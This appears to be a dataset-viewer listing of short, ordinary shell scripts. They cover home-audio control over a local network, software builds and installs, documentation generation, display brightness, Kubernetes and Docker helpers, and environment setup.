# DAB+ on
curl -o /dev/null http://192.168.38.177/?code=40BFC837\&p=2\&r=1 &
# receiver on
curl -o /dev/null http://192.168.38.177/?code=A55A58A7\&p=2\&r=5\&f=40\&d=20 &
# DAB+ preset 3
curl -o /dev/null http://192.168.38.177/?code=40BF827D\&p=2\&r=1 &
# receiver A AUX
curl -o /dev/null http://192.1... |
a14df420496cb524a62a536eeabdfaa8ab64d394 | 441 | #!/bin/bash
if [[ $(whoami) != crowbar ]]; then
su -l -c "$0" crowbar
exit $?
fi
. /etc/profile
shopt -s globstar nullglob
if ! which yardoc &>/dev/null; then
echo "YARD gem not installed."
echo "Please install it to generate the developer documentation"
exit 1
fi
cd /opt/opencrowbar
for d in **/... |
e8b1bb0c37c3623fa26103c240e5f30751d82233 | 313 | #!/bin/bash
clone_dir=`pwd`/shards
if [[ ! -e $clone_dir/bin/shards ]]; then
if [[ ! -d $clone_dir ]]; then
git clone https://github.com/crystal-lang/shards $clone_dir
fi
cd $clone_dir
crystal build src/shards.cr -o bin/shards --release
fi
sudo install -m 755 $clone_dir/bin/shards /usr/local/bin
|
53a310688d7e4fb7e4c7cccbf1cbf6e55e97cc27 | 73 | #!/bin/bash
echo set completion-ignore-case on | sudo tee -a /etc/inputrc |
f7d4cb38ad94a89a651c755d6bdee72979971fc9 | 98 | #!/bin/bash
cd /opt/varnish-backend-manager/
./varnish-backend-manager 1.2.3.4:8084 yourpassword
|
27752dcc605d4507a81f5dfc02ba6bf919ee6400 | 977 | #!/usr/bin/env bash
# https://unix.stackexchange.com/questions/13968/show-top-five-cpu-consuming-processes-with-ps
# Top shows current CPU usage
# Ps shows avg over time
# https://unix.stackexchange.com/questions/58539/top-and-ps-not-showing-the-same-cpu-result
ps_most_cpu_intensive_process=$(ps aux | sort -nrk 3,3 |... |
8e543e2e3003cdff95e0d6a05a2f0b2e66808d53 | 117 | #!/bin/sh -e
./configure \
--prefix=/usr \
--static
make
make DESTDIR="$1" install
clman -d "$1" fossil.1
|
0acb9adc1ab741a21341e1e2e5a8822128ab8ec2 | 621 | #!/bin/sh
BR_DIR="/sys/devices/pci0000:00/0000:00:02.0/drm/card0/card0-eDP-1/intel_backlight/"
test -d "$BR_DIR" || exit 0
MIN=0
MAX=$(cat "$BR_DIR/max_brightness")
VAL=$(cat "$BR_DIR/brightness")
if [ "$1" = down ]; then
VAL=$((VAL-41))
else
VAL=$((VAL+41))
fi
if [ "$VAL" -lt $MIN ]; then
VAL=$MIN
eli... |
48aa0cecaeb5f327706231507058f9d98c62bb1c | 6,898 | --- gnats/edit-pr.sh.orig Sun May 26 16:32:02 2002
+++ gnats/edit-pr.sh Sat Dec 6 02:43:44 2003
@@ -5,6 +5,8 @@
# Contributed by Jeffrey Osier (jeffrey@cygnus.com).
# Majorly revised by Bob Manson (manson@juniper.net).
# Further improvements by Dirk Bergstrom (dirk@juniper.net).
+# Patches for the FreeBSD Project b... |
eb600ad8a61a5c1d089c1699fb6b3f3209d50f38 | 79 | #!/bin/bash
kubectl apply -f ./tkg/poc-tkg-deploy.yml
kubectl get tkc -o wide
|
f4a1aee2f33b95e2c54e31b2b405b322195a27cb | 4,507 |
BOLD=$(tput bold)
GREEN=$(tput setaf 2)
RED=$(tput setaf 1)
NORMAL=$(tput sgr0)
docker() {
[[ -v DOCKERDEBUG ]] && echo docker "$@"
command docker "$@"
}
run() {
[[ -v RUNDEBUG ]] && echo "$@"
command "$@"
}
die() {
echo "$@"
exit 1
}
fail() {
echo "$RED$BOLD!!!! $*$NORMAL" >/dev/stderr
... |
cc5f2e300a1fbfde56875cebd5cf222b8b2c4c5e | 157 | # Add `~/bin` to the `$PATH`
# export PATH="$HOME/bin:$PATH"
PATH="$HOME/bin:$PATH"
# Add boxen environment configuration to shell
source /opt/boxen/env.sh
|
3e3d76c2e2ecd10ea134c5c7080c28f79dd2bdf4 | 84 | SKIP_PREFLIGHT_CHECK=true
SIGNUP_API="http://atologistinfotech.com/api/register.php" |
0e615279a8e81dc23fb86b926822d1a821580fe5 | 40 | #!/bin/bash
echo "The shell says 'Hi'"
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.